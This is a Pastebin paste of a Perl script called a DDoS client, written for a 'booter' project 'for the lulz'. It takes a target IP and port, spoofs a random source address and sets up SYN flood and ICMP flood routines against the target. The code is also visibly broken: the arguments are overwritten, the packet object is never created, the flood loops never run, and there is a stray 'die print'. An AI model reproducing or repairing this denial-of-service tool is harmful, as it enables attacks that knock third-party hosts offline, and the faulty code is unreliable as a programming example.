gh0st-00p

DDoS-client.02.pl

Feb 17th, 2012
2,336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6 3.80 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Program created for myrankhackbooter project
  3. # Script has been written by 5m0k3 aka. gh0st
  4. # All rights reserved by rankmyhack team and 5m0k3
  5. # For the lulz
  6. use warnings;
  7. use strict;
  8. use IO::Socket::INET;
  9. use Net::Ping;
  10. use constant TRUE => 1;
  11. use constant FALSE => 0;
  12. my $attacker;
  13. #my $listener;
  14. my $IP;
  15. my $time;
  16. my $AM;
  17. my @prot = ('tcp','udp');
  18. my $IP_P;
  19. my @working;
  20. my $wc = 0;
  21. my $login = (getpwuid $>);
  22. my $icmp_flood;
  23. my $method;
  24. my $duration;
  25. my $spoofed_ip;
  26. my $timestamp;
  27. die "[-] Please run this application as root" if $login ne 'root';
  28. if (!@ARGV)
  29. {
  30.     print "[-] No arguments, nothing to do";
  31.     exit(0);
  32. }
  33. # Type of Methods: [Number of them is going to change very often]
  34. # 0 Default script scans host
  35. # 1 Syn Flood
  36. # 2 ICMP Flood
  37. my @ARGV = ($IP, $IP_P, $method, $time, $duration);
  38. if ($method != 0..2)
  39. {
  40.     print "[-] Your argument doeasn't seem to be right";
  41.     exit;
  42. }
  43. if (!$IP_P == 1..65500)
  44. {
  45.     print "[-] Port doesn't seems to be right";
  46.     exit;
  47. }
  48. my $range = qr/^
  49. (
  50.  (?:                               # first 3 octets:
  51.   (?: 2(?:5[0-5]|[0-4][0-9])\. )   # 200 - 255
  52.   |                                # or
  53.   (?: 1[0-9][0-9]\. )              # 100 - 199
  54.   |                                # or
  55.   (?: (?:[1-9][0-9]?|[0-9])\. )    # 0 - 99
  56.  )
  57.  {3}                               # above: three times
  58.  
  59. (?:                                # 4th octet:
  60.  (?: 2(?:5[0-5]|[0-4][0-9]) )      # 200 - 255
  61.   |                                # or
  62.  (?: 1[0-9][0-9] )                 # 100 - 199
  63.   |                                # or
  64.  (?: [1-9][0-9]?|[0-9] )           # 0 - 99
  65. )
  66.  
  67. $)
  68. /x;
  69. unless ($IP =~ /$range/)
  70. {
  71.     print "[-] IP argument seems to be wrong, terminating \n";
  72.     exit(0);
  73. }
  74. if ($duration > 600)
  75. {
  76.     print "[-]Max limit is only 600 \n";
  77. }
  78. print "[+] Loading modules ... \n";
  79. #No need for that bit of code now
  80. #print "[+] Picking a random host on which program will listen \n";
  81. #my $LP = int(rand (65500)) || die "[-] Hmm there is something odd, better check your perl version \n";
  82. #print "[+] Deploying listener on $LP \n";
  83. #if (
  84. #       $listener = IO::Socket::INET->new(
  85. #                   Port => $LP,
  86. #                   Listen => 1,
  87. #                   Proto => 'tcp',
  88. #                   Reuse => 1)
  89. #                   )
  90. #                   {
  91. #                       $working[$wc++] = TRUE;
  92. #                   }
  93. #elsif (undef($working[1]))
  94. #{
  95. #   print "[-] Script failed at creating listener \n";
  96. #   $working[$wc++] = FALSE;
  97. #   return FALSE;
  98. #}
  99. # This part might be faulty :?
  100. print "[+] Spoofing IP adress by randomization \n";
  101. my $A = int(rand(255));
  102. my $B += '.'.int(rand(255));
  103. my $C += '.'.int(rand(255));
  104. my $D += '.'.int(rand(255));
  105. $spoofed_ip = $A.$B.$C.$D;
  106. die "[-] Hmm that's odd can't randomize, check your perl version: $!" if $spoofed_ip !~ /$range/;
  107. print "[+] Sketching SYN flood packet \n";
  108. $attacker->set ({
  109.             ip => {
  110.                     saddr => $spoofed_ip,
  111.                     daddr => $IP,
  112.                 },
  113.             tcp => {
  114.                     source => 139,
  115.                     dest => $IP_P,
  116.                     psh => 1,
  117.                     syn => 1,
  118.                     },
  119.                 });
  120. die "[-] Failed at sketching packets: $! \n" if undef($attacker);
  121. die
  122. print "[+] Crafting ping packet against hosts \n";
  123. $icmp_flood = Net::Ping->new("icmp");
  124. #$ping->ping($IP)
  125. print "[+] Checking methods and preparing for attack";
  126. # and &&        or ||
  127. unless ($method != 0)
  128. {
  129.     SYN_Flood() if $_ eq 1;
  130.     ICMP_flood() if $_ eq 2;
  131. }
  132. &Scanner() if $method eq 0;
  133. sub Scanner
  134. {
  135.    
  136. }
  137. sub Timer
  138. {
  139.    
  140. }
  141. sub ICMP_flood
  142. {
  143.     my $timestamp = undef;
  144.     $timestamp = (time + $duration);
  145.     while (0) {
  146.         $icmp_flood->ping($IP);
  147.         if (time > $timestamp) {
  148.             exit(0);
  149.         }
  150.         $icmp_flood->ping($IP);
  151.     }
  152.     return FALSE;
  153. }
  154. sub SYN_Flood
  155. {
  156.     $timestamp = undef;
  157.     $timestamp = (time + $duration);
  158.     while (0) {
  159.         $attacker->send;
  160.         if (time > $timestamp) {
  161.             exit(0);
  162.         }
  163.         $attacker->send;
  164.     }
  165.     return FALSE;
  166. }
  167. sub Auto_detection
  168. {
  169.    
  170. }
Advertisement
Add Comment
Please, Sign In to add comment